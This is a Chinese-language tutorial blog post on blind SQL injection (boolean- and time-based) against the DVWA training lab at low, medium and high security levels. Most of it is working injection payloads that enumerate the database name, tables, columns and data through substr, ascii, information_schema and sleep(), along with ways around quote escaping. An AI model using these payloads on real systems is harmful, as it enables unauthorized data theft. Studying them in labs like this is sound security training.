SQL Injection2(Blind)

前言

本篇文章主要来对SQL注入的盲注进行一个探讨学习,主要还是已dvwa靶场来进行实践

思路

  1. 判断数字型注入还是字符型注入
  2. 获取数据库名(猜取数据库名长度->猜取数据库具体字符)
  3. 获取表名(猜取表的张数->猜取表名的长度->猜取表名的具体字符)
  4. 猜取字段名(猜取字段的数量->猜取具体字段的长度->采取具体字段的具体字符)
  5. 猜取具体数据(猜取数据长度->猜取数据具体内容)

依据情况使用基于布尔的注入或基于时间的注入

dvwa练习

LOW:

这里讲布尔注入和时间注入都进行尝试下

布尔注入(主要看返回的正确与否,所以都是用and连接):

1

首先看图可以输入1后不再像前面SQL注入时返回用户名了,现在我们还是来测试下,是数字型注入还是字符型注入

先测试字符型注入

2

3

可以看到字符型注入是存在的

但测试数字型注入的时候有点蒙蔽了,因为我认为测试结果应该是返回User ID is MISSING from database.但返回的却是User ID is exists from database

4

5

确实这里想的不是很明白…理论上输入进去的东西应该查不出东西的啊,我有进入SQL注入试了下

6

发现在字符型注入下输入的数字型注入依旧成功返回???好吧搜索了下,然后找到了下面的解释.

这是sql的语法,因为没有加引号闭合,所以输入都被当做查询id,不会执行命令,这样说吧你输入1qwertyuiop跟输入1运行结果是一样的,

强制类型转换

测试了下,id这个字段好像是比较特殊

16

可以看到基本胡乱输入的字符串也被接受查询出来了,只要首位在id中就能查出来

别的字段是不行的,可以看到下面用name字段来测试没有成功

17

搜索的时候还发现了一篇不错的blog讲了利用SQL注入来下载和上传文件的方法

web安全之DVWAのSQL注入(六)/)

先继续往下吧,判断出是字符型注入后我们按照套路应该尝试下获取数据库名字,但没有返回的字段所以我们只有不断的猜测,通过返回的正误来判断猜测的正确与否,这也就是所谓的布尔注入

首先我们先来猜测名字的字符串长度,这时候发现SQL语法还是真的蛮强大,也有很多自带函数,比如这里用到的length

7

好的,上面的1测试出来不对,我们继续向下进行测试,当然我觉得也可以用大于小于符号先判断下范围,要是那种名字超长的库,这样逐渐增加就太慢了特别是手工注入。OK,测试到4的时候返回ID存在,确定库名长为4

8

下面我们就要开始猜解字段名了,幸好只有4位不算长…

这里需要通过ascii码来进行比较,当然我测试了下不用ascii码直接用字符来比较也OK

其次这里需要用到substr来一个一个提取字符

9

这里看到字符是大于’a’的,这里我们就不采用递增来推测,使用二分法来提高效率

1' and substr(database(),1,1)>'a' # 或者

1' and ascii(substr(database(),1,1))>97 #

10

11

12

13

14

这里可以看到第一个字符大于c为真,小于d为假,所以第一个字符为d

按照上面的方法依次可以试出后面三位是vwa

这样我们就获得了数据库的文件名dvwa

下面进行表名的猜解

首先我们先判断这个数据库有几张表,这里用到了count这个方法

1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 1#

15

可以看到在2的时候成功了,所以dvwa中有两张表

然后我们来猜解表名长度 这里用到了limit (limit m,n m表示从第几条开始,初始值为0,n表示取几条)

因为括号的问题下面的语句我在测试的时候一直失误查不出来,一度怀疑是自己这边用的是MySQL8.0的原因,改成MySQL5.7后发现还是不行,结果最后发现是括号少写了一个…请务必注意括号的匹配 这里用不用substr都行

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1#

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 #

18

OK,就按照上面的方法来猜试,终于在试到9时对了(开个文本来写测试语句真的要方便很多)

19

上面是第一张表的长度,同理按照上面的方法我们也可以猜试出第二张表的长度,不过这次是用比较的方法求得的,大于4正确,大于5错误,所以表名长度为5

20

好的我们知道了表名长度,下面要做的就是试出具体的表名是什么了,方法和上面猜试数据库名的方法一样,这里注意逗号substr里因为少些了一个逗号一直返回错误的提示,也耽搁了好些时间

1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'a' #

21

第一个字符最后是大于’f’小于’g’所以是’g’

按照上述方法可以求得第一个表名是’guestbook’,第二个表名是’users‘

知道了表名,我们下面就需要接着来求字段名了

还是首先来猜取字段总数

1' and (select count(column_name) from information_schema.columns where table_name='user' ) = 1#

22

上面可以看到我是用大小来判断的,大于7正确大于8错误,所以有8个字段

知道了有8个字段后就是依次来猜解字段名了,和上面知道表的数量来猜解表名基本类似

先来猜解第一个字段名的长度,这里一定要注意括号数量select语句用括号括起来表示字段名,外面还有一层括号是length函数的括号

1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

下图可以看到第一个字段长度大于6的时候成功了,大于7的时候失败了,所以第一个字段的长度是7

23

然后我们再来猜解第一个字段的的第一个字符是什么

1’ and substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)>’a’#

ok,然后第一个字符试出来是大于’t’正确,大于’u’错误所以第一个字符试’u’

24

下面同理的方法进行猜解,就能将所有字段名破解出来…

有了字段名,我们就可以用同样的方法来猜取里面的数据值了

拿第一个字段来举例,第一个字段是’user_id’

套路还是一样,先看user_id有多少数据

1' and length((select count(user_id) from users )) =1#

25

可以看到一个数据的长度就是1

现在来猜解内容

1' and substr((select user_id from user limit 0,1),1,1)='0'#

然后我们成功猜解出来了第一个字段的第一个数据是1

26

依次类推我们就能猜解出所有数据……

时间注入(主要用到sleep()函数,用if来做判断,猜对后sleep一定时间来进行判断):

先判断是字符型注入还是数字型注入

1' and sleep(5)#

1 and sleep(5)#

27

这里能明显感觉到上面的那条语句执行要慢很多,然后要注意的是sleep这个函数应该默认返回的flase

在自己数据库测试了下确实是这样(但这里时间长度变为了3倍,后面试了5秒变成15秒…这是个什么道理有没有大佬解释下)

28

下面就不截图了,毕竟时间这种东西不是截图能体现出来的…

按照套路下面是获得数据库名

先获取数据库长度

1' and if(length(database())=1,sleep(5),1)#

这里要是感觉到明显延迟就说明猜测正确了

4的时候明显感觉到了延迟所以数据库名长为4

然后来猜解字段名

1' and if((substr(database(),1,1))>'a',sleep(5),1)#

这里发现大于’c’的时候有明显延迟,大于’d’的时候没有推测出数据库名的第一个字符是’d’

后面就依次的这样尝试,获得数据库名为‘dvwa’,

有了数据库名了,就来获取当前数据库的表

先获取表的数量

1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)#

等于2的时候有明显延迟,OK获得表的数量是2

然后来先获取第一张表表名的长度

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(5),1)#

好的当测到9的时候有明显延迟,第一张表的长度是9,同理测得第二张表的长度是5

然后知道了长度当然就是来猜解表名了,这里已猜解第二张表的表名来演示

1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>'a',sleep(5),1)#

通过上面的字段测试出大于’u’没有明显的延时,大于’t’有明显的延时,所以第二张表的第一个字母是u,同理可以猜测出别的所有字符。

这样就得到了两张表的表名’guestbook’,’users’

有了表名自然而然下一步就是表中的字段名了

还是先猜测字段的数量

1' and if((select count(column_name) from information_schema.columns where table_name='users')=1,sleep(5),1)#

明显在8的时候有延迟,得到字段数为8

有了数量当然就要开始依次猜测具体数值了

先猜测users表的第一个字段的字段长

1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1)#

可以发现在7时,时间明显延长,所以第一个字段的字长为7

然后我们就继续判断别的字段的字长

知道每个字段的字长后就依次来猜解每个字段的字符

1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1 )>'t',sleep(5),1)#

这里来可以发现大于t有延时,大于u没有延时所以users表的第一字段的第一个字符是u,同理可以推出别的字符。这样我们得到第一个字段为user_id,同理可以得到别的字段。有了字段名后我们就可以来猜解数据来。

没错还是要靠猜,不过要合理的利用二分法等来提高效率

1' and if(length((select user_id from users limit 0,1))>0,sleep(5),1)#

先判断数据长度,发现长度是1,很开心有没有

然后直接开猜

1' and if((select user_id from users limit 0,1)=1,sleep(5),1)#

然后就判断出了第一个数据值为1

这里没有用substr所以直接和1进行的比较,但我觉得最后还是带上substr这样可以起到一个类型转换的作用,就如下面的语句

1' and if(substr((select user_id from users limit 0,1),1,1)='1',sleep(5),1)#

OK,这样low等级的盲注就算完成了

MEDIUM:

image-20190407161907581

看样子盲注和sql注入的想要考察的点基本还是一样的,看到上面的下拉框很自然的想到了要截包来改数据了。因为基于布尔和基于时间的注入上面low级别已经演示了区别,下面就主要通过基于布尔的注入来进行操作

基本与low级别一样主要是需要截包进行修改操作,如上图所示,但用low级别的方法来判断是字符型还是数字型好像没区别(暂时没想通为什么),但我用图中的的语句去尝试发现正常返回所以判断为数字型注入

下面还是先获取数据库名(数据名长度然后数据库的名称)

id=1 and length((database()))>4&Submit=Submit

得到数据名长度为4

id=1 and substr(database(),1,1)>'a'&Submit=Submit

id=1 and ascii(substr(database(),1,1))>97&Submit=Submit

这里因为有转义会把’’给转义掉,所以这里用ascii()函数把字符转为ascii码就可以了

这样推出数据库名为dvwa

下面来获取表名(表个数->各个表长度->表名)

id=1 and (select count(table_name) from information_schema.tables where table_schema=database())>1&Submit=Submit

获得表有两张(注意这里用的是count不是length)

id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1&Submit=Submit

这样我们获得第一张表长度为9第二张表长度为5

id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97&Submit=Submit

这样得到表名分别是guestbook和users

下面来猜解字段名(字段个数->各个字段长度->字段名)

id=1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)>1&Submit=Submit

得到users有8个字段(这里注意表名用十六进制(每个字符的ascii转十六进制)因为’’符号会被转义)

id=1 and length((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1))>1&Submit=Submit

得到users表的第一个字段长度为7(依次可以推出其它字段长度)

id=1 and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1,1))>97&Submit=Submit

得到第一个字符是u,同理能推出字段的其它字符

下面就是推测具体数据了,先猜取数据的具体长度,然后再猜取具体内容

HIGH:

这里还是用基于布尔的方法来测试,但要说一下的是,这里的服务端在查询结果为空的时候会随机的sleep几秒中,这样会干扰布尔判断。

30

注入的时候发现也是弹窗让输入,但输入正常值后 发现查询也失败,显示cookie被设置,那就只有先抓包看下了

31

这里可以发现它进行了url编码,但你服务端倒是解码啊…..发现在包中直接修改后不进行url编码反而能正常返回,emmm……不过这样也方便了我们手工注入,直接对包进行修改。

试了下,这里只用改body的值就能正常查询了,cookie不改也行。这里的cookie是对应上次查询的值

还是先判断是数字注入还是字符注入

用low级别中的方法判断出,是字符型注入

然后猜取数据库名(这里也明显感觉到了猜错后的随机延时)

32

这样我们得到数据名长度为4

1' and substr((database()),1,1)>'a'#

得到表名第一个字符为’d’,同理可以推出其它字符

有了数据库名后来获取表名

1' and (select count(table_name) from information_schema.tables where table_schema=database())>1#

得到有两张表

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1#

这样获取到各个表表名的长度

1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'a'#

这样可以获得第一张表的第一个字符名,同理可以推出完整的表名和所有表名

下面就是获取字段名(和上面获取表名方法类似这里就不继续了)

有了字段名后就可以来猜解里面的数据了

这里HIGH级别里面还加入了limit的限制,但因为是字符型注入每次结尾都加入了#注释符所以没有任何影响。

总结

整体做下来会发现前面的SQL注入主要是结合union来进行联合查询

而盲注更多的是依据and操作来进行条件的判断来进行猜测,

盲注这里常用ascii(),substr(),length(),if(),count等函数,但还是离不开对information_schema数据库的依赖

还有就是盲注真的很考验耐心…工具确实是十分必要的,请期待后面的sqlmap的使用吧…

tips

  1. substr()函数,这个函数也是在MySQL中第一次用到,这个函数看名字就知道是用来提取子字符串的,在这里我们就需要它来提取出字符串中的每一个字符

    substr(string, start, length)这个函数需要3个参数,第1个是字符串本身,第2个是起始位置(需要注意的就是MySQL这里是从1开始的),length就是需要提取的长度,我们需要提取1位,所以这里都是填1

  2. mysql中if的用法

    if(expr1,expr2,expr3) 这里expr1为判断条件,如果expr1为真则返回expr2否则返回expr3

  3. 使用基于时间的注入,对方可能会对查询为空的返回随机加入sleep(),方法可能失效

参考

  1. 新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)

路漫漫其修远兮,吾将上下而求索